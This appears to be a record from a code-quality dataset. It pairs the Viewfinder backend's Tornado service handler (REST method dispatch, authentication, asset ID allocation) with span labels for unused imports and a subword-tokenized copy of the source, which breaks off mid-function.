Method(request=json_schema.UPDATE_VIEWPOINT_REQUEST,\n response=json_schema.UPDATE_VIEWPOINT_RESPONSE,\n request_migrators=[SUPPRESS_EMPTY_TITLE],\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=UpdateViewpoint),\n 'upload_contacts': Method(request=json_schema.UPLOAD_CONTACTS_REQUEST,\n response=json_schema.UPLOAD_CONTACTS_RESPONSE,\n request_migrators=[SUPPORT_CONTACT_LIMITS],\n min_supported_version=Message.SUPPORT_MULTIPLE_IDENTITIES_PER_CONTACT,\n handler=UploadContacts),\n 'upload_episode': Method(request=json_schema.UPLOAD_EPISODE_REQUEST,\n response=json_schema.UPLOAD_EPISODE_RESPONSE,\n request_migrators=[EXTRACT_FILE_SIZES, EXTRACT_ASSET_KEYS],\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=UploadEpisode),\n }\n\n\n\n", "metadata": "root.ServiceHandler", "header": "['module', '___EOS___']", "index": 1551 }, { "content": " def __init__(self, application, request, **kwargs):\n super(ServiceHandler, self).__init__(application, request, **kwargs)", "metadata": "root.ServiceHandler.__init__", "header": "['class', 'ServiceHandler', '(', 'base', '.', 'BaseHandler', ')', ':', '___EOS___']", "index": 1744 }, { "content": " @handler.authenticated(allow_prospective=True)\n @handler.asynchronous(datastore=True, obj_store=True)\n def post(self, method_name):\n \"\"\"Parses the JSON request body, validates it, and invokes the\n method as specified in the request URI. On completion, the\n response is returned as a JSON-encoded HTTP response body.\n \"\"\"\n def _OnSuccess(method, start_time, user, device_id, response_dict):\n self.set_status(200)\n self.set_header('Content-Type', 'application/json; charset=UTF-8')\n # self.write() accepts a dict directly, but tornado's json_encode\n # does bytes-to-unicode conversions that are unnecessary on py2\n # and surprisingly expensive.\n self.write(json.dumps(response_dict))\n\n request_time = time.time() - start_time\n _avg_req_time.add(request_time)\n logging.debug('serviced %s request in %.4fs: %s' %\n (method_name, request_time, response_dict))\n self.finish()\n\n # Set api_name for use in any error response.\n self.api_name = method_name\n _req_per_min.increment()\n start_time = time.time()\n\n # Check service method; (501: Not Implemented).\n if not ServiceHandler.SERVICE_MAP.has_key(method_name):\n _fail_per_min.increment()\n self.send_error(status_code=501)\n return\n\n json_request = self._LoadJSONRequest()\n if json_request is None:\n _fail_per_min.increment()\n return\n\n # Get current user and device id (both of which were originally derived from the user cookie).\n user = base.ViewfinderContext.current().user\n device_id = base.ViewfinderContext.current().device_id\n\n method = ServiceHandler.SERVICE_MAP[method_name]\n ServiceHandler.InvokeService(self._client, self._obj_store, method_name, user.user_id, device_id,\n json_request, callback=partial(_OnSuccess, method, start_time, user, device_id))", "metadata": "root.ServiceHandler.post", "header": "['class', 'ServiceHandler', '(', 'base', '.', 'BaseHandler', ')', ':', '___EOS___']", "index": 1747 }, { "content": " def _handle_request_exception(self, e):\n \"\"\"Need to override to increment _fail_per_min counter.\"\"\"\n _fail_per_min.increment()\n super(ServiceHandler, self)._handle_request_exception(e)", "metadata": "root.ServiceHandler._handle_request_exception", "header": "['class', 'ServiceHandler', '(', 'base', '.', 'BaseHandler', ')', ':', '___EOS___']", "index": 1792 }, { "content": " @staticmethod\n @gen.coroutine\n def InvokeService(client, obj_store, method_name, user_id, device_id, json_request):\n \"\"\"Validates the JSON request body and invokes the method as specified\n in the request URI. On completion, the response is returned as a\n JSON-encoded response dictionary.\n \"\"\"\n # Look up information about the service method.\n method = ServiceHandler.SERVICE_MAP[method_name]\n\n # Only allow prospective users to access methods that have been explicitly allowed.\n if not base.ViewfinderContext.current().user.IsRegistered() and not method.allow_prospective:\n raise web.HTTPError(403, 'Permission denied; user account is not registered.')\n\n try:\n request_message = yield gen.Task(base.BaseHandler._CreateRequestMessage,\n client,\n json_request,\n method.request,\n migrators=method.request_migrators,\n min_supported_version=method.min_supported_version,\n max_supported_version=method.max_supported_version)\n except Exception as ex:\n logging.warning(util.FormatLogArgument(json_request))\n raise InvalidRequestError(INVALID_JSON_REQUEST, request=ex.message)\n\n # Older clients called remove_photos instead of hide_photos, so redirect them.\n if method_name == 'remove_photos' and request_message.original_version < Message.RENAME_PHOTO_LABEL:\n handler = OldRemovePhotos\n else:\n handler = method.handler\n\n response_dict = yield gen.Task(handler, client, obj_store, user_id, device_id, request_message.dict)\n\n response_message = yield gen.Task(base.BaseHandler._CreateResponseMessage,\n client,\n response_dict,\n method.response,\n request_message.original_version,\n migrators=method.response_migrators)\n\n raise gen.Return(response_message.dict)", "metadata": "root.ServiceHandler.InvokeService", "header": "['class', 'ServiceHandler', '(', 'base', '.', 'BaseHandler', ')', ':', '___EOS___']", "index": 1797 } ]
[ { "span": "import validictory", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 18 }, { "span": "from viewfinder.backend.base import constants, counters, handler, secrets, util", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 79 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2011", " ", "View", "finde", "r", " ", "Inc", ".", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Handle", "r", " ", "for", " ", "View", "finde", "r", " ", "service", " ", "RP", "Cs", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "-", " ", "Service", "Handle", "r", ":", " ", "web", " ", "request", " ", "handler", " ", "for", " ", "REST", " ", "API", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "authors\\u", "\\u_", "=_", "[_", "'", "spe", "nce", "r", "@", "email", "scrub", "bed", ".", "com", " ", "(", "Spe", "nce", "r", " ", "Ki", "mba", "ll", ")'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "and", "y", "@", "email", "scrub", "bed", ".", "com", " ", "(", "And", "y", " ", "Ki", "mba", "ll", ")'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tor", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "valid", "ict", "ory", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "copy_", "import_", "deepcopy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "functools_", "import_", "partial_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tornado_", "import_", "gen_", ",_", "web_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tornado_", "._", "ioloop_", "import_", "IO", "Loop_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "import_", "constants_", ",_", "counters_", ",_", "handler_", ",_", "secrets_", ",_", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "message_", "import_", "Message_", ",_", "MIN", "\\u", "SUPPORTED", "\\u", "MESSAGE", "\\u", "VERSION_", ",_", "MAX", "\\u", "SUPPORTED", "\\u", "MESSAGE", "\\u", "VERSION_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "message_", "import_", "REQUIRE", "D", "\\u", "MIGRAT", "ORS", "_", ",_", "IN", "LINE", "\\u", "INVALID", "ATION", "S_", ",_", "IN", "LINE", "\\u", "COMMENT", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "message_", "import_", "EXTRACT", "\\u", "FILE", "\\u", "SIZE", "S_", ",_", "EXTRACT", "\\u", "ASSET", "\\u", "KEYS_", ",_", "SPLIT", "\\u", "NAMES_", ",_", "EXPL", "ICIT", "\\u", "SHAR", "E", "\\u", "ORDER_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "message_", "import_", "SUPPRESS", "\\u", "BLANK", "\\u", "COVER", "\\u", "PHOTO", "_", ",_", "SUPPORT", "\\u", "MULTIPLE", "\\u", "IDENT", "ITI", "ES", "\\u", "PER", "\\u", "CONTACT", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "message_", "import_", "RENA", "ME", "\\u", "PHOTO", "\\u", "LABEL_", ",_", "SUPPORT", "\\u", "REMOVE", "D", "\\u", "FOL", "LOWER", "S_", ",_", "SUPPRESS", "\\u", "COPY", "\\u", "TIMESTAMP_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "message_", "import_", "SUPPORT", "\\u", "CONTACT", "\\u", "LIMIT", "S_", ",_", "SUPPRESS", "\\u", "EMP", "TY", "\\u", "TITLE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "exceptions_", "import_", "Inva", "lid", "Request", "Error_", ",_", "Permi", "ssion", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "import_", "db", "\\u", "client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "accounti", "ng_", "import_", "Account", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "activity_", "import_", "Activity_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "asset", "\\u", "id_", "import_", "Id", "Prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "comment_", "import_", "Comment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "client", "\\u", "log_", "import_", "Client", "Log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "contact_", "import_", "Contact_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "episode_", "import_", "Episode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "followe", "d_", "import_", "Followe", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "follower", "_", "import_", "Followe", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "identity_", "import_", "Identity_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "operation_", "import_", "Operation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "photo_", "import_", "Photo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "post_", "import_", "Post_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "subscription_", "import_", "Subscription_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "user_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "user", "\\u", "photo_", "import_", "User", "Photo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "user", "\\u", "post_", "import_", "User", "Post_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "view", "point_", "import_", "View", "point_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "op_", "._", "notification", "\\u", "manager_", "import_", "Notifi", "cation", "Manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "resources_", "._", "calendar_", "import_", "Calendar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "resources_", "._", "message_", "._", "error", "\\u", "messages_", "import_", "INVALID", "\\u", "JSO", "N", "\\u", "REQUEST_", ",_", "MERGE", "\\u", "COOKIE", "\\u", "NOT", "\\u", "CONFIRM", "ED_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "resources_", "._", "message_", "._", "error", "\\u", "messages_", "import_", "MISSING", "\\u", "MERGE", "\\u", "SOURCE_", ",_", "UNSU", "PPO", "RTED", "\\u", "ASSET", "\\u", "TYPE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "resources_", "._", "message_", "._", "error", "\\u", "messages_", "import_", "UPDATE", "\\u", "PWD", "\\u", "NOT", "\\u", "CONFIRM", "ED_", ",_", "IDENTITY", "\\u", "NOT", "\\u", "CAN", "ONI", "CAL", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "services_", "._", "itu", "nes", "\\u", "store_", "import_", "IT", "une", "s", "Stor", "e", "Client_", ",_", "Verify", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "www", "_", "import_", "base_", ",_", "json", "\\u", "schema_", ",_", "password", "\\u", "util_", ",_", "photo", "\\u", "store_", ",_", "www", "\\u", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Counter", " ", "whi", "ch", " ", "tracks", " ", "averag", "e", " ", "time", " ", "per", " ", "request", ".", " ", " ", "All", " ", "request", " ", "types", " ", "are", " ", "consider", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "single", " ", "snapshot", " ", "of", " ", "this", " ", "value", " ", "is", " ", "not", " ", "interesting", ",", " ", "but", " ", "historical", " ", "data", " ", "can", " ", "be", " ", "used_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "track", " ", "the", " ", "usage", " ", "of", " ", "resource", "s", " ", "on", " ", "a", " ", "machine", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "avg", "\\u", "req", "\\u", "time_", "=_", "counters_", "._", "defin", "e\\u", "average_", "(_", "'", "view", "finde", "r", ".", "service", ".", "avg", "\\u", "req", "\\u", "time", "'_", ",_", "'", "Average", " ", "second", "s", " ", "per", " ", "client", " ", "request", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "req", "\\u", "per", "\\u", "min_", "=_", "counters_", "._", "defin", "e\\u", "rate_", "(_", "'", "view", "finde", "r", ".", "service", ".", "req", "\\u", "per", "\\u", "min", "'_", ",_", "'", "Average", " ", "#", " ", "of", " ", "client", " ", "request", "s", " ", "per", " ", "minute", ".'_", ",_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "fail", "\\u", "per", "\\u", "min_", "=_", "counters_", "._", "defin", "e\\u", "rate_", "(_", "'", "view", "finde", "r", ".", "service", ".", "fail", "\\u", "per", "\\u", "min", "'_", ",_", "'", "Average", " ", "#", " ", "of", " ", "fail", "ed", " ", "client", " ", "request", "s", " ", "per", " ", "minute", ".'_", ",_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u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\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Add", "Followe", "rs_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Add", " ", "resolve", "d", " ", "contact", "s", " ", "as", " ", "followers", " ", "of", " ", "an", " ", "exist", "ing", " ", "view", "point", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Validate", " ", "contact", " ", "identities", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Validate", "Conta", "cts_", "(_", "request_", "[_", "'", "contact", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Add", "Followe", "rs", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "ADD", " ", "FOL", "LOWER", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "contact", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "len_", "(_", "request_", "[_", "'", "contact", "s", "'_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Allocate", "Ids_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Allocate", "s", " ", "an", " ", "asset", " ", "id", " ", "for", " ", "the", " ", "current", " ", "device", ".", " ", " ", "The", " ", "request", " ", "shou", "ld", " ", "include", " ", "the", " ", "asset", " ", "id", " ", "prefix", "\\", "10", ";", " ", " ", "for", " ", "the", " ", "request", "ed", " ", "type", ".", " ", " ", "Curr", "ent", "ly", ",", " ", "only", " ", "comment", ",", " ", "activit", "y", " ", "and", " ", "operati", "on", " ", "ids", " ", "are", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefixes_", "=_", "request_", "[_", "'", "asset", "\\u", "types", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timestamp_", "=_", "util_", "._", "Get", "Curr", "ent", "Timestamp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "Validate", "Id_", "(_", "prefix_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Validate", " ", "a", " ", "single", " ", "request", "ed", " ", "Id", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "Id", "Prefix_", "._", "Is", "Valid_", "(_", "prefix_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Inva", "lid", "Request", "Error_", "(_", "UNSU", "PPO", "RTED", "\\u", "ASSET", "\\u", "TYPE_", ",_", "asset", "\\u", "type_", "=_", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Amo", "ng", " ", "valid", " ", "prefix", "es", ",", " ", "only", " ", "Activ", "it", "y", ",", " ", "Comme", "nt", " ", "and", " ", "Opera", "tion", " ", "are", " ", "support", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "prefix_", "in_", "'", "aco", "p", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Inva", "lid", "Request", "Error_", "(_", "UNSU", "PPO", "RTED", "\\u", "ASSET", "\\u", "TYPE_", ",_", "asset", "\\u", "type_", "=_", "Id", "Prefix_", "._", "Get", "Asset", "Name_", "(_", "prefix_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Construct", "Id_", "(_", "prefix_", ",_", "uniq", "ui", "fier", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "prefix_", "==_", "'", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "asset", "\\u", "id_", "=_", "Activity_", "._", "Construct", "Activ", "it", "y", "Id_", "(_", "timestamp_", ",_", "device", "\\u", "id_", ",_", "uniq", "ui", "fier", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "prefix_", "==_", "'", "c", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "asset", "\\u", "id_", "=_", "Comment_", "._", "Construct", "Comme", "nt", "Id_", "(_", "timestamp_", ",_", "device", "\\u", "id_", ",_", "uniq", "ui", "fier", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "prefix_", "==_", "'", "p", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "asset", "\\u", "id_", "=_", "Photo_", "._", "Construct", "Photo", "Id_", "(_", "timestamp_", ",_", "device", "\\u", "id_", ",_", "uniq", "ui", "fier", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "asset", "\\u", "id_", "=_", "Operation_", "._", "Construct", "Opera", "tion", "Id_", "(_", "device", "\\u", "id_", ",_", "uniq", "ui", "fier", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "asset", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "prefix_", "in_", "prefixes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Validate", "Id_", "(_", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Allocate", "Asset", "Id", "s", " ", "return", "s", " ", "a", " ", "unique", ",", " ", "incr", "easi", "ng", " ", "number", " ", "whi", "ch", " ", "can", " ", "be", " ", "used", " ", "as", " ", "a", " ", "unique", " ", "component", " ", "of", " ", "asset", " ", "ids", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "unique", "\\u", "start_", "=_", "yield_", "gen_", "._", "Task_", "(_", "User_", "._", "Allocate", "Asset", "Ids_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "len_", "(_", "prefixes_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "asset", "\\u", "ids_", "=_", "[_", "Construct", "Id_", "(_", "p_", ",_", "u_", ")_", "for_", "p_", ",_", "u_", "in_", "zip_", "(_", "prefixes_", ",_", "range_", "(_", "unique", "\\u", "start_", ",_", "unique", "\\u", "start_", "+_", "len_", "(_", "prefixes_", ")_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "'", "asset", "\\u", "ids", "'_", ":_", "asset", "\\u", "ids_", ",_", "'", "timestamp", "'_", ":_", "timestamp_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Build", "Archive_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Request", " ", "the", " ", "service", " ", "to", " ", "build", " ", "a", " ", "zip", " ", "file", " ", "of", " ", "all", " ", "of", " ", "a", " ", "users", " ", "conversations", " ", "and", " ", "associate", "d", " ", "photo", "s", ".", "\\", "10", ";", " ", " ", "On", "ce", " ", "the", " ", "zip", " ", "has", " ", "bee", "n", " ", "store", "d", " ", "to", " ", "S", "3", ",", " ", "an", " ", "email", " ", "will", " ", "be", " ", "mail", "ed", " ", "to", " ", "the", " ", "user", " ", "with", " ", "a", " ", "sign", "ed", " ", "S", "3", " ", "url", " ", "whi", "ch", "\\", "10", ";", " ", " ", "will", " ", "expir", "e", " ", "after", " ", "24", " ", "hour", "s", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", 